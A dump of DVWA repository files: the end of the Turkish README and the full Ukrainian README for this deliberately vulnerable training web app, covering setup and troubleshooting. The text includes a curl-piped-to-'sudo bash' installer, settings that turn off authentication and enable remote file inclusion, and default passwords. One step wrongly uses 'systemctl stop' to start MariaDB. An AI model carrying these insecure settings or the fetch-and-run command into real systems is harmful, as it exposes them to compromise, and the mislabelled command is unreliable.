doğrulama sorunu yaşıyorsanız, yukarıdaki adımların her birini tekrar edin ve her adımda ekran görüntüsü alın. Bunları, yapılandırma dosyanızdaki veri tabanı kullanıcı adını ve parolasını gösteren kısmın ekran görüntüsü ile birlikte gönderin.\n- Yanlış giden şeyin tam açıklaması, ne olmasını beklediğiniz ve bunu düzeltmek için neler yaptığınız... \"login çalışmıyor\", sorununuzu anlayıp düzeltmemiz için yeterli değil.\n\n- - -\n\n## SQLite3 SQL Injection\n\n_Bu konudaki destek sınırlıdır. Issue açmadan önce, lütfen hata ayıklama sürecinde çalışmaya hazır olduğunuzdan emin olun. \"Çalışmıyor\" demeyin._\n\nVarsayılan olarak; SQLi ve Blind SQLi, sitede kullanılan MariaDB/MySQL servisine yapılır. Ancak SQLi testlerini SQLite3'e çevirmek de mümkündür.\n\nSQLite3'ün PHP ile nasıl çalışacağını anlatmayacağım. Ancak `php-sqlite3` paketini kurmak ve bunun aktif olduğundan emin olmak işi çözebilir.\n\nDeğiştirmek için, yapılandırma dosyanızı düzenleyin ve şu satırları ekleyin/düzenleyin:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nVarsayılan olarak `database/sqli.db` dosyasını kullanır. Bu dosyayı batırırsanız, `database/sqli.db.dist` dosyasını bunun üzerine kopyalayın.\n\nOlay MySQL ile aynı. Sadece SQLite3'e karşı yapılacak.\n\n- - -\n\n## Bağlantılar\n\nProje Sayfası: <https://github.com/digininja/DVWA>\n\n*DVWA takımı tarafından oluşturulmuştur*\n\n## Çeviri\n\nAli Sezişli: [alisezisli](https://github.com/alisezisli)\n"
  },
  {
    "path": "README.uk.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDVWA (англ. _Damn Vulnerable Web Application_ &mdash; бісів вразливий вебзастосунок) &mdash; це\nвебзастосунок на базі PHP/MariaDB, який є надзвичайно вразливим. Його основна мета &mdash; допомогти\nфахівцям із безпеки перевірити свої навички та інструменти в легальному середовищі, допомогти\nвеброзробникам краще зрозуміти процеси захисту вебзастосунків, а також допомогти студентам і\nвикладачам вивчати веббезпеку у контрольованому навчальному середовищі.\n\nМета DVWA &mdash; дати змогу **відчути на практиці деякі з найпоширеніших вебвразливостей** на\n**різних рівнях складності** за допомогою простого та зрозумілого інтерфейсу. Будь ласка, зверніть\nувагу, що в цьому програмному забезпеченні є **як задокументовані, так і незадокументовані\nвразливості**. Це зроблено навмисно. Ми заохочуємо вас спробувати виявити якомога більше проблем.\n\n---\n\n## УВАГА!\n\nDamn Vulnerable Web Application є надзвичайно вразливим! **Не завантажуйте його в\nпублічну директорію html вашого хостинг-провайдера або на будь-які сервери, що мають вихід в\nІнтернет**, оскільки вони будуть зламані. Рекомендується використовувати віртуальну машину\n(як-от [VirtualBox](https://www.virtualbox.org/) чи [VMware](https://www.vmware.com/)),\nналаштовану в режимі мережі NAT. Усередині гостьової машини ви можете завантажити та\nвстановити [XAMPP](https://www.apachefriends.org/) для вебсервера та бази даних.\n\n### Відмова від відповідальності\n\nМи не несемо відповідальності за те, як будь-хто використовує цей застосунок (DVWA). Ми чітко\nвизначили цілі застосунку, і його не слід використовувати зі зловмисними намірами. Ми надали\nпопередження та вжили заходів, щоб запобігти встановленню DVWA на робочі вебсервери. Якщо ваш\nвебсервер буде зламано через встановлення DVWA, це не наша відповідальність, а відповідальність\nособи/осіб, які його завантажили та встановили.\n\n---\n\n## Ліцензія\n\nЦей файл є частиною Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) &mdash; це вільне програмне забезпечення: ви можете\nрозповсюджувати та/або змінювати його відповідно до умов GNU General Public License, опублікованої\nFree Software Foundation, версії 3 або (на ваш розсуд) будь-якої пізнішої версії.\n\nDamn Vulnerable Web Application (DVWA) розповсюджується з надією, що воно буде корисним,\nале БЕЗ ЖОДНИХ ГАРАНТІЙ; навіть без неявної гарантії ТОВАРНОГО СТАНУ чи ПРИДАТНОСТІ ДЛЯ ПЕВНОЇ МЕТИ.\nДокладнішу інформацію дивіться в GNU General Public License.\n\nВи мали отримати копію GNU General Public License разом із Damn Vulnerable Web Application (DVWA).\nЯкщо ні, див. <https://www.gnu.org/licenses/>.\n\n---\n\n## Інтернаціоналізація\n\nЦей файл доступний також такими мовами:\n\n- Арабська: [العربية](README.ar.md)\n- Китайська: [简体中文](README.zh.md)\n- Французька: [Français](README.fr.md)\n- Корейська: [한국어](README.ko.md)\n- Перська: [فارسی](README.fa.md)\n- Польська: [Polski](README.pl.md)\n- Португальська: [Português](README.pt.md)\n- Іспанська: [Español](README.es.md)\n- Турецька: [Türkçe](README.tr.md)\n- Індонезійська: [Indonesia](README.id.md)\n- В'єтнамська: [Vietnamese](README.vi.md)\n- Італійська: [Italiano](README.it.md)\n\nЯкщо ви бажаєте долучитися до перекладу, будь ласка, надішліть PR. Проте зауважте, що це не означає\nпросто пропустити текст через Google Translate і надіслати результат &mdash; такі PR будуть\nвідхилені. Надішліть свою версію перекладу, додавши новий файл `README.xx.md`, де `xx` &mdash; це\nдволітерний код вибраної вами мови (згідно\nз [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n---\n\n## Завантаження\n\nХоча існують різні версії DVWA, єдиною підтримуваною версією є остання версія вихідного коду з\nофіційного репозиторію GitHub. Ви можете клонувати її безпосередньо з репозиторію:\n\n```sh\ngit clone https://github.com/digininja/DVWA.git\n```\n\nАбо [завантажити ZIP-архів проєкту](https://github.com/digininja/DVWA/archive/master.zip).\n\n---\n\n## Установлення\n\n### Автоматичне встановлення 🛠️\n\n**Зверніть увагу: це не офіційний скрипт DVWA, він був\nнаписаний [IamCarron](https://github.com/iamCarron/). У створення цього скрипту було вкладено багато\nзусиль, і на момент створення він не містив нічого шкідливого, проте рекомендується перевірити його\nперед тим, як наосліп запускати у своїй системі, про всяк випадок. Будь ласка, повідомляйте про\nбудь-які помилки [IamCarron](https://github.com/iamCarron/), а не сюди.**\n\nСкрипт автоматичного налаштування DVWA для машин на базі Debian, зокрема Kali, Ubuntu, Kubuntu,\nLinux Mint, Zorin OS...\n\n**Примітка: Цей скрипт потребує root-прав і розроблений спеціально для систем на базі Debian.\nПереконайтеся, що ви запускаєте його від імені суперкористувача (root).**\n\n#### Вимоги до встановлення\n\n- **Операційна система:** Система на базі Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS)\n- **Привілеї:** Виконання від імені root-користувача\n\n#### Етапи встановлення\n\n##### В один рядок\n\nЦя команда завантажить інсталяційний скрипт, написаний [@IamCarron](https://github.com/IamCarron), і\nзапустить його автоматично. Ми б не додавали його сюди, якби не довіряли автору та самому скрипту на\nмомент перевірки, проте завжди існує ймовірність непередбачуваних дій. Тому, якщо ви не впевнені у\nбезпеці виконання чужого коду без попереднього ознайомлення, скористайтеся ручним способом\nвстановлення, щоб перевірити скрипт після завантаження.\n\n```sh\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### Запуск скрипту вручну\n\n1. **Завантажте скрипт:**\n\n   ```sh\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **Зробіть скрипт виконуваним:**\n\n   ```sh\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **Запустіть скрипт із правами суперкористувача:**\n\n   ```sh\n   sudo ./Install-DVWA.sh\n   ```\n\n### Відеоінструкції встановлення\n\n- [Установлення DVWA на Kali, що працює у VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Установлення DVWA на Windows за допомогою XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Установлення Damn Vulnerable Web Application (DVWA) на Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nНайпростіший спосіб інсталювати DVWA &mdash; це завантажити та\nвстановити [XAMPP](https://www.apachefriends.org/), якщо у вас ще не налаштовано вебсервер.\n\nXAMPP &mdash; це дуже простий у встановленні дистрибутив Apache для Linux, Solaris, Windows та Mac\nOS X. Пакет містить вебсервер Apache, MySQL, PHP, Perl, FTP-сервер та phpMyAdmin.\n\nУ цьому [відео](https://youtu.be/Yzksa_WjnY0) показано процес встановлення для Windows, але він\nмає бути схожим і для інших ОС.\n\n### Docker\n\nЗавдяки [hoang-himself](https://github.com/hoang-himself) та [JGillam](https://github.com/JGillam),\nкожен коміт у гілку `master` запускає створення Docker-образу, який готовий до завантаження з GitHub\nContainer Registry.\n\nДля отримання додаткової інформації про те, що ви одержуєте, ви можете\nпереглянути [готові Docker-образи](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Початок\n\nПопередні вимоги: Docker та Docker Compose.\n\n- Якщо ви використовуєте Docker Desktop, обидва компоненти вже мають бути встановлені.\n- Якщо ви віддаєте перевагу Docker Engine на Linux, обов'язково скористайтеся\n  їхнім [посібником зі встановлення](https://docs.docker.com/engine/install/#server).\n\n**Ми надаємо підтримку для останнього релізу Docker, як зазначено вище.**\nЯкщо ви використовуєте Linux і пакет Docker, що постачався з вашим менеджером пакетів, він,\nймовірно, також працюватиме, але підтримка надаватиметься за принципом «як є».\n\nОновлення Docker з версії менеджера пакетів до офіційної версії розробника вимагає видалення старих\nверсій, як описано в інструкціях\nдля [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions)\nта інших.\nВаші дані Docker (контейнери, образи, томи тощо) не мають постраждати, але якщо ви все ж зіткнетеся\nз проблемою, обов'язково [повідомте Docker](https://www.docker.com/support) і також\nскористайтеся пошуковими системами.\n\nВідтак, щоб почати:\n\n1. Виконайте команди `docker version` та `docker compose version`, щоб перевірити, чи правильно\n   встановлені Docker та Docker Compose. Ви маєте побачити їхні версії у виводі.\n\n   Наприклад:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n   Якщо ви нічого не бачите або отримуєте помилку «команду не знайдено», дотримуйтесь інструкцій з\n   попередніх вимог щодо налаштування Docker та Docker Compose.\n\n2. Клонуйте або завантажте цей репозиторій та розпакуйте його (\n   див. [«Завантаження»](#завантаження)).\n3. Відкрийте термінал на свій вибір і змініть робочу директорію на цю директорію (`DVWA`).\n4. Виконайте команду `docker compose up -d`.\n\nТепер DVWA доступний за адресою `http://localhost:4280`.\n\n**Зверніть увагу, що для запуску DVWA в контейнерах вебсервер прослуховує порт 4280 замість звичного\n80-го порту.**\nДля отримання додаткової інформації щодо цього рішення див.\nрозділ [«Я хочу запустити DVWA на іншому порту»](#я-хочу-запустити-dvwa-на-іншому-порту).\n\n#### Локальна збірка\n\nЯкщо ви внесли локальні зміни та хочете зібрати проєкт локально, перейдіть до `compose.yml` і\nзмініть\n`pull_policy: always` на `pull_policy: build`.\n\nЗапуск `docker compose up -d` має змусити Docker зібрати образ із локальних файлів без огляду на те,\nщо доступно в реєстрі.\n\nДив. також: [\n`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n#### Робота з локальними файлами\n\nЯкщо ви вносите локальні зміни та не хочете щоразу перезбирати проєкт:\n\n1. Перейдіть до `compose.yml` і розкоментуйте:\n    ```\n        # volumes:\n        #   - ./:/var/www/html\n    ```\n2. Виконайте `cp config/config.inc.php.dist config/config.inc.php`, щоб скопіювати типовий файл\n   конфігурації.\n3. Виконайте `docker compose up -d`, і зміни в локальних файлах відображатимуться в контейнері.\n\n### Версії PHP\n\nБажано використовувати останню стабільну версію PHP, оскільки саме на цій версії розробляється та\nтестується цей застосунок.\n\nПідтримка користувачам PHP 5.x не надаватиметься.\n\nВерсії нижче 7.3 мають відомі вразливості, що спричинятимуть проблеми; більша частина застосунку\nпрацюватиме, але окремі речі можуть давати збій. Якщо у вас немає вагомих причин для використання\nтакої застарілої версії, підтримка не надаватиметься.\n\n### Пакунки Linux\n\nЯкщо ви використовуєте дистрибутив Linux на базі Debian, вам потрібно встановити такі пакунки\n(_або їхні аналоги)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nВарто спочатку виконати оновлення, щоб переконатися, що ви отримаєте останні версії всього\nпрограмного забезпечення.\n\n```sh\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nСайт працюватиме з MySQL замість MariaDB, але ми наполегливо рекомендуємо MariaDB, оскільки вона\nпрацює одразу «з коробки», тоді як у MySQL потрібно вносити зміни для коректної роботи.\n\n### Модулі Apache\n\nЯкщо ви хочете використовувати лабораторію API, у вас має бути активований модуль Apache\n`mod_rewrite`. Щоб зробити це в Linux, виконайте:\n\n```\na2enmod rewrite\n```\n\nА відтак перезапустіть Apache командою:\n\n```\napachectl restart\n```\n\n### Файли сторонніх розробників (Vendor Files)\n\nЯкщо ви хочете використовувати модуль API, вам потрібно буде встановити набір сторонніх файлів за\nдопомогою [Composer](https://getcomposer.org/).\n\nСпочатку переконайтеся, що у вас встановлено Composer. Трапляються проблеми зі зворотною\nсумісністю, тому я завжди завантажую останню версію звідси:\n\n<https://getcomposer.org/doc/00-intro.md>\n\nДотримуйтесь інструкцій на сайті, щоб встановити його.\n\nПерейдіть у каталог `vulnerabilities/api` та виконайте команду:\n\n```\ncomposer.phar install\n```\n\nОбов'язково встановіть Composer глобально.\n\n## Конфігурація\n\n### Файл конфігурації\n\nDVWA постачається з макетом файлу конфігурації, який треба скопіювати на потрібне місце, а\nвідтак внести відповідні зміни. На Linux це можна зробити так (припускаємо, що ви перебуваєте в\nкаталозі DVWA):\n\n```sh\ncp config/config.inc.php.dist config/config.inc.php\n```\n\nНа Windows це може бути дещо складніше, якщо у вас приховані розширення файлів. Якщо ви не впевнені\nв цьому, у цій статті в блозі пояснюється детальніше:\n\n[Як змусити Windows показувати розширення файлів](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Конфігурація за допомогою змінних середовища\n\nЗамість того щоб змінювати файл конфігурації, ви також можете встановити більшість налаштувань за\nдопомогою змінних середовища. У розгортанні Docker або Kubernetes це дає змогу змінювати\nконфігурацію без створення нового образу Docker. Ви знайдете змінні у\nфайлі [config/config.inc.php.dist](config/config.inc.php.dist).\n\nЯкщо ви хочете встановити типовий рівень безпеки на «low», просто додайте такий рядок\nдо файлу [compose.yml](./compose.yml):\n\n```yml\nenvironment:\n  - DB_SERVER=db\n  - DEFAULT_SECURITY_LEVEL=low\n```\n\n### Налаштування бази даних\n\nЩоб налаштувати базу даних, просто натисніть кнопку `Setup DVWA` у головному меню, а потім натисніть\nкнопку `Create / Reset Database`. Це створить або скине базу даних та наповнить її початковими\nданими.\n\nЯкщо ви отримали помилку під час спроби створити базу даних, переконайтеся, що ваші облікові дані\nбази даних правильні у `./config/config.inc.php`. _Це відрізняється від config.inc.php.dist, який є\nприкладом файлу._\n\nТипово змінні такі:\n\n```php\n$_DVWA[ 'db_server' ] = '127.0.0.1';\n$_DVWA[ 'db_port' ] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nЗверніть увагу: якщо ви використовуєте MariaDB замість MySQL (MariaDB встановлена типово у Kali), ви\nне можете використовувати користувача root бази даних, ви маєте створити нового\nкористувача бази даних. Для цього під'єднайтеся до бази даних як користувач root, а відтак\nвиконайте такі команди:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Вимкнення автентифікації\n\nДеякі інструменти погано працюють з автентифікацією, тому їх неможливо використовувати з DVWA. Щоб\nобійти це, у конфігурації є опція для вимкнення перевірки автентифікації. Для цього просто\nвстановіть таке у файлі конфігурації:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nВам також потрібно буде встановити рівень безпеки, який відповідає тестуванню, яке ви хочете\nпровести:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nУ цьому стані ви можете отримати доступ до всіх функцій без необхідності входу в систему та\nвстановлення будь-яких файлів cookie.\n\n### Права доступу до каталогів\n\n- `./hackable/uploads/` &mdash; має бути доступним для запису вебслужбою (для завантаження файлів).\n\n### Конфігурація PHP\n\nУ системах Linux зазвичай розташовується в `/etc/php/x.x/fpm/php.ini` або\n`/etc/php/x.x/apache2/php.ini`.\n\n- Щоб дозволити віддалене під'єднання файлів (RFI):\n    - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n- Щоб переконатися, що PHP відображає всі повідомлення про помилки:\n    - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n    - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nОбов'язково перезапустіть службу php або Apache після внесення змін.\n\n### reCAPTCHA\n\nЦе потрібно лише для лабораторії «Insecure CAPTCHA». Якщо ви не працюєте з нею, можете проігнорувати\nцей розділ.\n\nЗгенеруйте пару API-ключів на сторінці <https://www.google.com/recaptcha/admin/create>.\n\nПотім вставте їх у відповідні розділи файлу `./config/config.inc.php`:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Типові облікові дані\n\n**Типовий логін = `admin`**\n\n**Типовий пароль = `password`**\n\n_...його легко можна зламати перебором (brute force) ;)_\n\nURL для входу: <http://127.0.0.1/login.php>\n\n_Примітка: адреса буде іншою, якщо ви встановили DVWA в іншу директорію._\n\n---\n\n## Усунення несправностей\n\nЦі інструкції розраховані на те, що ви використовуєте дистрибутив на базі Debian, як-от Debian,\nUbuntu або Kali. Для інших дистрибутивів дотримуйтесь алгоритму, але за потреби оновлюйте команди.\n\nЯкщо ви віддаєте перевагу відео замість тексту, найпоширеніші проблеми розглянуті у\nвідео [«Виправлення проблем із налаштуванням DVWA»](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F).\n\n### Контейнери\n\n#### Я хочу отримати доступ до логів\n\nЯкщо ви використовуєте Docker Desktop, доступ до логів можна отримати через графічний інтерфейс\nпрограми. Деякі дрібні деталі можуть змінюватися в новіших версіях, але спосіб доступу має\nзалишатися незмінним.\n\n![Огляд DVWA compose](./docs/graphics/docker/overview.png)\n![Перегляд логів DVWA](docs/graphics/docker/detail.png)\n\nДо логів також можна отримати доступ через термінал.\n\n1. Відкрийте термінал і перейдіть до робочої директорії DVWA.\n2. Виведіть об'єднані логи:\n\n    ```sh\n    docker compose logs\n    ```\n\n   Якщо ви хочете експортувати логи у файл, наприклад, `dvwa.log`:\n\n   ```sh\n   docker compose logs > dvwa.log\n   ```\n\n#### Я хочу запустити DVWA на іншому порту\n\nМи не використовуємо порт 80 типово з кількох причин:\n\n- Деякі користувачі вже можуть використовувати порт 80 для інших завдань.\n- Деякі користувачі можуть використовувати рушії контейнеризації без прав суперкористувача (як-от\n  Podman), а порт 80 є привілейованим (< 1024). Це вимагає додаткового налаштування (наприклад,\n  встановлення `net.ipv4.ip_unprivileged_port_start`), але вам доведеться дослідити це самостійно.\n\nВи можете відкрити DVWA на іншому порту. Для цього треба змінити прив'язування портів у файлі\n`compose.yml`. Наприклад, ви можете змінити\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nна\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nТепер DVWA доступний за адресою `http://localhost:8806`.\n\nЯкщо ви хочете, щоб DVWA був доступний не лише з вашого власного пристрою, а й\nу вашій локальній мережі (наприклад, тому що ви налаштовуєте тестову машину для воркшопу), ви можете\nвидалити `127.0.0.1:` із мапінгу портів (або замінити його на вашу IP-адресу в локальній мережі).\nУ такому разі він буде прослуховувати з'єднання на всіх доступних мережевих інтерфейсах. Утім з\nміркувань безпеки стандартом є обмеження доступу лише локальним інтерфейсом (loopback).\nЗрештою, це «бісів вразливий вебзастосунок» (damn vulnerable web application), що працює на вашій\nмашині.\n\n#### DVWA запускається автоматично під час роботи Docker\n\nФайл [`compose.yml`](./compose.yml), що входить до проєкту, автоматично запускає DVWA та її базу\nданих під час старту Docker.\n\nЩоб вимкнути це, ви можете видалити або закоментувати рядки `restart: unless-stopped` у файлі\n[`compose.yml`](./compose.yml).\n\nЯкщо ви хочете тимчасово вимкнути це, можна виконати команду `docker compose stop` або\nскористатися Docker Desktop, знайти `dvwa` і натиснути Stop.\nКрім того, ви можете видалити контейнери або виконати команду `docker compose down`.\n\n### Файли логів\n\nНа Linux Apache типово створює два файли логів: `access.log` та `error.log`. У\nсистемах на базі Debian вони зазвичай розташовані в `/var/log/apache2/`.\n\nПід час надсилання звітів про помилки, проблеми абощо, будь ласка, додавайте принаймні\nостанні п'ять рядків із кожного з цих файлів. У системах на базі Debian ви можете отримати їх так:\n\n```sh\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### Я перейшов на сайт та отримав помилку 404 або стандартну сторінку Apache2\n\n[Відеоінструкція](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141)\n\nЯкщо ви зіткнулися з цією проблемою, вам потрібно розібратися з розташуванням файлів. Типово\nкореневий каталог Apache (місце, де він починає пошук вебконтенту) &mdash; це\n`/var/www/html`. Якщо ви розташуєте файл `hello.txt` у цьому каталозі, то для доступу до нього\nпотрібно перейти за адресою `http://localhost/hello.txt`.\n\nЯкщо ви створили директорію і поклали файл туди &mdash; `/var/www/html/mydir/hello.txt` &mdash; тоді\nтреба перейти за адресою `http://localhost/mydir/hello.txt`.\n\nLinux типово чутливий до регістру, тому в наведеному вище прикладі, якби ви спробували\nперейти за будь-яким із цих посилань, ви б отримали помилку `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nЯк це впливає на DVWA? Більшість людей використовують git для клонування DVWA у `/var/www/html`, що\nстворює каталог `/var/www/html/DVWA/` з усіма файлами DVWA всередині. Потім вони переходять за\nадресою `http://localhost/` і отримують або `404`, або стандартну сторінку привітання Apache.\nОскільки файли розташовані в директорії DVWA, треба перейти за адресою `http://localhost/DVWA`.\n\nІнша поширена помилка &mdash; перехід за адресою `http://localhost/dvwa`, що видасть `404`, оскільки\nз погляду відповідності каталогів у Linux `dvwa` &mdash; це не те саме, що `DVWA`.\n\nТож якщо після налаштування ви намагаєтеся відвідати сайт і отримуєте `404`, подумайте, куди саме ви\nвстановили файли, де вони розташовані відносно кореневого каталогу і в якому регістрі написана назва\nдиректорії, яку ви використали.\n\n### Я перейшов на сайт і побачив порожній екран\n\n[Відеодопомога](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243)\n\nЗазвичай це одна проблема конфігурації, що приховує іншу. Типово PHP не відображає\nпомилки, тому якщо ви забули ввімкнути відображення помилок під час процесу налаштування, будь-які\nінші проблеми, як-от помилка під'єднання до бази даних, зупинять завантаження застосунку, але\nповідомлення про те, що саме пішло не так, буде приховано.\n\nЩоб виправити це, переконайтеся, що ви встановили параметри `display_errors` та\n`display_startup_errors`, як описано в розділі [Конфігурація PHP](#конфігурація-php), а відтак\nперезапустіть Apache.\n\n### «Access denied» (Доступ заборонено) під час запуску налаштування\n\nЯкщо під час запуску скрипту налаштування ви бачите таке, отже ім'я користувача або\nпароль у конфігураційному файлі не збігаються з тими, що налаштовані в базі\nданих. [Відеодопомога](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973)\n\n```mariadb\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nПомилка повідомляє, що ви використовуєте ім'я користувача `notdvwa`.\n\nНаведена нижче помилка свідчить про те, що ви вказали в конфігураційному файлі неправильну базу\nданих. [Відеодопомога](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630)\n\n```mariadb\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nТут сказано, що ви використовуєте користувача `dvwa` і намагаєтеся під'єднатися до бази даних\n`notdvwa`.\n\nПерше, що потрібно зробити, &mdash; це ще раз перевірити, чи те, що ви вказали в конфігураційному\nфайлі, відповідає дійсності.\n\nЯкщо все збігається з вашими очікуваннями, наступним кроком буде перевірка можливості входу під цим\nкористувачем через командний рядок. Припустімо, у вас є користувач бази даних `dvwa` і пароль\n`p@ssw0rd`. Виконайте таку команду:\n\n```sh\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n_Примітка: Після -p пробіл не ставиться_\n\nЯкщо ви бачите таке, то пароль правильний:\n\n```mariadb\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nОскільки ви можете під'єднатися через командний рядок, ймовірно, щось негаразд у конфігураційному\nфайлі. Перевірте його ще раз, і якщо проблема не зникне, створіть тікет.\n\nЯкщо ви бачите таке, то ім'я користувача або пароль, які ви використовуєте, неправильні.\nПовторіть кроки з розділу [Налаштування бази даних](#налаштування-бази-даних) і переконайтеся, що ви\nвикористовуєте однакові ім'я користувача та пароль протягом усього процесу.\n\n```mariadb\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nЯкщо ви отримуєте таке, то облікові дані користувача правильні, але користувач не має доступу до\nбази даних. Знову ж таки, повторіть кроки налаштування та перевірте назву бази даних, яку ви\nвикористовуєте.\n\n```mariadb\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nОстання помилка, яку ви можете отримати, це:\n\n```mariadb\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nЦе не проблема автентифікації, а повідомлення про те, що сервер бази даних не запущений. Запустіть\nйого за допомогою такої команди:\n\n```sh\nsudo service mysql start\n```\n\n### Помилка з'єднання (Connection Refused)\n\n[Відеоінструкція](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444)\n\nПомилка, подібна до цієї:\n\n```mariadb\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nОзначає, що ваш сервер бази даних не запущений або у файлі конфігурації вказано неправильну\nIP-адресу.\n\nПеревірте цей рядок у файлі конфігурації, щоб дізнатися очікувану адресу сервера бази даних:\n\n```php\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nПотім перейдіть на цей сервер і переконайтеся, що він працює. На Linux це можна зробити за допомогою\nкоманди:\n\n```sh\nsystemctl status mariadb.service\n```\n\nВам потрібно знайти щось подібне, де найважливішим є статус `active (running)`.\n\n```sh\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nЯкщо сервер не запущений, ви можете запустити його командою:\n\n```sh\nsudo systemctl stop mariadb.service \n```\n\nЗверніть увагу на `sudo` і обов'язково введіть пароль користувача Linux, якщо з'явиться відповідний\nзапит.\n\nНа Windows перевірте статус у консолі XAMPP.\n\n### Невідомий метод автентифікації\n\nВ останніх версіях MySQL PHP більше не може взаємодіяти з базою даних у конфігурації типово. Якщо ви\nнамагаєтеся запустити скрипт налаштування та отримуєте таке повідомлення, це означає проблему з\nконфігурацією.\n\n```mariadb\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nУ вас є два варіанти. Найпростіший &mdash; видалити MySQL і встановити MariaDB. Нижче наведено\nофіційну інструкцію від проєкту MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nАбо виконайте такі кроки:\n\n1. Від імені root відредагуйте файл: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n2. Під рядком `[mysqld]` додайте таке:\n   `default-authentication-plugin=mysql_native_password`\n3. Перезапустіть базу даних: `sudo service mysql restart`\n4. Перевірте метод автентифікації для вашого користувача бази даних:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. Швидше за все, ви побачите `caching_sha2_password`. Якщо так, виконайте таку команду:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    